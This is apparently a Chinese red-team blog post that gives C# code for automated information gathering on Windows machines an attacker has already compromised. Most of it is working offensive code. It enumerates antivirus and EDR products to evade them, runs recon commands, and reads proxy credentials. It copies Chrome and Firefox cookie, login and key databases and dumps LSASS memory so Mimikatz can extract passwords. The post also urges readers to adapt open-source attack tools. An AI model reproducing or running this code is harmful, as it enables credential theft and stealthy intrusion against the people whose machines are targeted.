通过编程实现的本地机器信息收集

每获取一台机器权限,如果每次都手动操作重复一样的信息收集工作,无疑加大了工作量。

0x00 前言

可选用 batC++C# 进行编写程序,前两者运行无条件限制,后者需要判断 .NET 版本,由于一直是对 C# 较感兴趣,所以使用后者进行编写,也可以直接使用 execute-assembly 执行。

本文多数模块取之文末的 github 项目。

0x01 信息收集模块

1)安全产品检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public static void AV_EDR()
{

/**- 获取进程信息
* - 枚举杀软进程列表(自定义列表)
* - 存在则输出
* - 代码实现
* - 参考:https://raw.githubusercontent.com/harleyQu1nn/AggressorScripts/master/AVQuery.cna
**/
string[] avproducts = { "Skynet",...., "GDScan" };
Process[] proces = Process.GetProcesses(Environment.MachineName);
Console.WriteLine("[+] Enumerating EDR products and Antivirus Processes on " + Environment.MachineName + "...");
Console.WriteLine("[+] Loaded " + avproducts.Length + " AV Process Names");

for (int i = 0; i < proces.Length; i++)
{
for (int a = 0; a < avproducts.Length; a++)
{
string processSearch = avproducts[a];
if (proces[i].ProcessName.Equals(processSearch))
{
Console.WriteLine("\t[!] Found AV Process: " + proces[i].ProcessName);
}
}
}
/**- 枚举列表(自定义列表)
* - 使用 File.Exists 检测文件是否存在
* - 存在则输出
* - 代码实现
* - 参考:https://raw.githubusercontent.com/harleyQu1nn/AggressorScripts/master/EDR.cna
**/
string[] edrproducts = { "CiscoAMPCEFWDriver.sys",...., "amm6460.sys" };
Console.WriteLine("[+] Loaded " + edrproducts.Length + " EDR Product Names");
string edrPath = @"C:\Windows\System32\drivers\";
for (int e = 0; e < edrproducts.Length; e++)
{
if (File.Exists(edrPath + edrproducts[e]))
{
Console.WriteLine("\t[!] EDR driver found " + edrproducts[e]);
}
}
}

2)计算机架构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static void Mains()
{
/*
* - 直接使用 Environment
* - 参考:https://docs.microsoft.com/en-us/dotnet/api/system.environment?view=netframework-4.8
*/
Console.WriteLine("[+] Environment members ");

// 当前机器名
Console.WriteLine("\t[*] MachineName: {0}", Environment.MachineName);
// 当前用户名
Console.WriteLine("\t[*] UserName: {0}", Environment.UserName);
// 当前Domain名
Console.WriteLine("\t[*] UserDomainName: {0}", Environment.UserDomainName);
// 当前系统版本
Console.WriteLine("\t[*] OSVersion: {0}", Environment.OSVersion.ToString());
// 当前目录
Console.WriteLine("\t[*] CurrentDirectory: {0}", Environment.CurrentDirectory);

// 盘符
string[] drives = Environment.GetLogicalDrives();
Console.WriteLine("\t[*] GetLogicalDrives: {0}", String.Join(", ", drives));
// 当前程序名
string[] arguments = Environment.GetCommandLineArgs();
Console.WriteLine("\t[*] GetCommandLineArgs: {0}", String.Join(", ", arguments));
}

3) 文件遍历

1
2
直接利用bat执行就可以
FOR /F "Skip=1" %%I in ('wmic logicaldisk where "Size<>null" get name') Do (%%I && dir /s /a %%I)

4) 执行命令获取相关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// 运行基础命令查询
public static void GetBasisInfo()
{

/*
* - 获取系统基础信息
* - 管道没找到好的利用方式
* - 直接加载系统库,使用 system,此方法有个缺点,需要预分配内存,部分命令无法运行
* - 最后选择 ProcessStartInfo
*/

string[] commands = {
"systeminfo",
"netstat -anop tcp",
"ipconfig /all",
"tasklist /v",
"set",
"query user",
"net share",
// 自启动的程序
"wmic startup list full",
// 查看分区
"wmic logicaldisk where drivetype=3 get name,freespace,systemname,filesystem,volumeserialnumber,size",
// 判断 .NET 版本
"dir %WINDIR%\\Microsoft.NET\\Framework\\v*",
};
foreach (string command in commands)
{
string FileName = command.Replace("/", "").Replace("-", "").Replace("+", "").Replace("%", "").Replace(",", "").Replace("=", "").Replace("*", "").Replace("\\", "");
ProcessStartInfo proccessStartInfo = new ProcessStartInfo("cmd.exe", " /c " + command);
proccessStartInfo.CreateNoWindow = true;
Process proc = new Process { StartInfo = proccessStartInfo };

proc.StartInfo.RedirectStandardOutput = true; // 由调用程序获取输出信息
proc.StartInfo.UseShellExecute = false; // 是否使用操作系统shell启动
proc.StartInfo.CreateNoWindow = true; // 不显示程序窗口
proc.Start(); // 启动程序
string outlist = proc.StandardOutput.ReadToEnd();
TxtWriter(outlist, FileName);
proc.WaitForExit(); // 等待程序执行完退出进程
proc.Close();
}
}

5) 程序安装及版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// 查找安装程序及版本
public static void GetInstalledApplications()
{
/*
* - 从注册 Uninstall 表项中提取相关信息,进行筛选
*/
string basekey = "Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall";
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(basekey);
if (registryKey != null)
{ // This key exists
foreach (string rname in registryKey.GetSubKeyNames())
{
RegistryKey installedapp = registryKey.OpenSubKey(rname);
if (installedapp != null)
{
string displayname = (installedapp.GetValue("DisplayName") != null) ? installedapp.GetValue("DisplayName").ToString() : "";
string displayversion = (installedapp.GetValue("DisplayVersion") != null) ? installedapp.GetValue("DisplayVersion").ToString() : "";
string helplink = (installedapp.GetValue("HelpLink") != null) ? installedapp.GetValue("HelpLink").ToString() : "";

if (!(Regex.IsMatch(displayname, "^(Service Pack \\d+|(Definition\\s|Security\\s)?Update) for") && Regex.IsMatch(helplink, "support\\.microsoft")) && displayname != "")
{
if (displayversion != "")
{
//Console.Out.WriteLine("\t[*] " + displayname + " (" + displayversion + ")");
string displaynameversion = displayname + " (" + displayversion + ")";
TxtWriter(displayname, "查找安装程序及版本");
}
else
{
//Console.Out.WriteLine("\t[*] " + displayname);
TxtWriter(displayname, "查找安装程序及版本");
}
}
}
}
}
basekey = "Software\\Microsoft\\Installer\\Products";
registryKey = Registry.CurrentUser.OpenSubKey(basekey);
if (registryKey != null)
{
foreach (string rname in registryKey.GetSubKeyNames())
{
RegistryKey installedapp = registryKey.OpenSubKey(rname);
if (installedapp != null)
{
string displayname = (installedapp.GetValue("ProductName") != null) ? installedapp.GetValue("ProductName").ToString() : "";
if (displayname != "")
//Console.Out.WriteLine("\t[*] " + displayname);
TxtWriter(displayname, "查找安装程序及版本");
}
}
}
}

6) 最近浏览的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void Recent()
{
/*
* - 最近预览的文件
* - 在 Tools 有朋友发过类似的 bat 脚本,实现原理是遍历用户目录下的lnk和url文件,然后调用vbs脚本获取快捷方式所指向的文件或者网址
* - 参考:https://www.t00ls.net/articles-46152.html
*/
string userPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
string recents = @"Microsoft\Windows\Recent";
string recentsPath = Path.Combine(userPath, recents);
DirectoryInfo di = new DirectoryInfo(recentsPath);
//Console.WriteLine("[+] Recent Items in " + recentsPath);
foreach (var file in di.GetFiles())
{
TxtWriter(file.Name, "最近预览的文件");
//Console.WriteLine("\t[*] " + file.Name);
}
}

7) 网络代理信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public static void GetProxyInformation()
{
/*
* - GetSystemWebProxy() 返回使用当前模拟用户的 Internet Explorer 设置配置的代理
* - 使用代理访问 google.com 进行确认
* - 如果存在验证情况,则将相关信息进行输出
*/
IWebProxy wp = WebRequest.GetSystemWebProxy();
string url = "https://www.google.com";
Uri req = new Uri(url);
//Console.Out.WriteLine("[+] URL Requested: " + req.AbsoluteUri);
Uri proxy = wp.GetProxy(req);
if (String.Compare(req.AbsoluteUri, proxy.AbsoluteUri) != 0)
{
//Console.Out.WriteLine("\t[*] Proxy: DIRECT");
TxtWriter(proxy.AbsoluteUri, "网络代理情况");
}
else if (wp.Credentials != null)
{
NetworkCredential cred = wp.Credentials.GetCredential(req, "basic");
string[] cerd = { cred.UserName, cred.Password, cred.Domain };
foreach (string cers in cerd)
{
TxtWriter(cers, "网络代理情况");
}

}

}

8) 浏览器相关文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
// 获取 Chrome 相关
public static void ChromeLocation()
{
string localAppData = Environment.GetEnvironmentVariable("USERPROFILE");
string ChromeBasePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome", localAppData);

if (Directory.Exists(ChromeBasePath))
{
// 获取 Chrome 浏览器相关文件路径
string ChromeHistoryPath = String.Format("{0}\\User Data\\Default\\History", ChromeBasePath);
string ChromeBookmarkPath = String.Format("{0}\\User Data\\Default\\Bookmarks", ChromeBasePath);
string ChromeCookiesPath = String.Format("{0}\\User Data\\Default\\Cookies", ChromeBasePath);
string ChromeLoginDataPath = String.Format("{0}\\User Data\\Default\\Login Data", ChromeBasePath);
string[] ChromePaths = { ChromeHistoryPath, ChromeBookmarkPath, ChromeCookiesPath, ChromeLoginDataPath };
// 创建文件夹、判断文件是否存在
string FilePath = CreateBrowserDirectory("\\Chrome");
foreach (string filePath in ChromePaths)
{
if (File.Exists(filePath))
{
var FileName = filePath.Substring(filePath.LastIndexOf('\\'));
File.Copy(filePath, FilePath + FileName);
}
}
}
else
{
Console.WriteLine("[+] Not Chrome Directory");
}
}
// 获取 Friefox 相关
public static void FroefoxLocation()
{
// 获取 Friefox 浏览器目录
string localAppData = Environment.GetEnvironmentVariable("USERPROFILE");
string FirefoxBasePath = String.Format("{0}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", localAppData);
if (Directory.Exists(FirefoxBasePath))
{
// 获取 Friefox 浏览器相关文件路径
string[] directories = Directory.GetDirectories(FirefoxBasePath);
foreach (string directory in directories)
{
string FirefoxPlaces = string.Format("{0}\\{1}", directory, "places.sqlite");
string FirefoxCer_1 = String.Format("{0}\\{1}", directory, "cert8.db");
string FirefoxCer_2 = String.Format("{0}\\{1}", directory, "cert9.db");
string FirefoxKey_1 = String.Format("{0}\\{1}", directory, "key3.db");
string FirefoxKey_2 = String.Format("{0}\\{1}", directory, "key4.db");
string FirefoxLogon = String.Format("{0}\\{1}", directory, "logins.json");
string[] FirefoxPaths = { FirefoxPlaces, FirefoxCer_1, FirefoxCer_2, FirefoxKey_1, FirefoxKey_2, FirefoxLogon };
// 创建文件夹、判断文件是否存在
string FilePath = CreateBrowserDirectory("\\Friefox");
foreach (string filePath in FirefoxPaths)
{
if (File.Exists(filePath))
{
var FileName = filePath.Substring(filePath.LastIndexOf('\\'));
File.Copy(filePath, FilePath + FileName);
}
}
}
}
else
{
Console.WriteLine("[+] Not Friefox Directory");
}
}

9) MiniDump

直接取用SharpDump,需要高权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)]
static extern bool MiniDumpWriteDump(IntPtr hProcess, uint processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr userStreamParam, IntPtr callbackParam);

public static void Minidump()
{
IntPtr targetProcessHandle = IntPtr.Zero;
uint targetProcessId = 0;

Process targetProcess = null;
Process[] processes = Process.GetProcessesByName("lsass");
targetProcess = processes[0];

try
{
targetProcessId = (uint)targetProcess.Id;
targetProcessHandle = targetProcess.Handle;
}
catch (Exception ex)
{
Console.WriteLine(String.Format("\n[X] Error getting handle to {0} ({1}): {2}\n", targetProcess.ProcessName, targetProcess.Id, ex.Message));
return;
}
bool bRet = false;

string dumpDir = Program.CreateDirectory();
string dumpFile = String.Format("{0}\\lsass_pid-{1}.dmp", dumpDir, targetProcessId);
//string zipFile = String.Format("{0}\\lsass_pid{1}.bin", dumpDir, targetProcessId);

//Console.WriteLine(String.Format("\n[*] Dumping {0} ({1}) to {2}", targetProcess.ProcessName, targetProcess.Id, dumpFile));

using (FileStream fs = new FileStream(dumpFile, FileMode.Create, FileAccess.ReadWrite, FileShare.Write))
{
bRet = MiniDumpWriteDump(targetProcessHandle, targetProcessId, fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
}

}

10) 文件夹压缩加密

AES 加密

0x02 信息解析模块

本文所缺失的相关代码,下步更新放出。

1) 压缩包解密

AES 解密

2) MiniDump

利用 subteePELoader 加载 Mimikatz 的自定义版本,加载 minidump 文件,运行 sekurlsa :: logonpasswordssekurlsa::ekeys

3) 浏览器相关

解析相关 sqlite 文件

解析密码文件

0x03 整合的相关项目列表

AVQuery.cna

EDR.cna

SharpAttack

SafetyKatz

这类型的开源项目,完全可以从中拓展,改写成适合自己的工具。

!坚持技术分享,您的支持将鼓励我继续创作!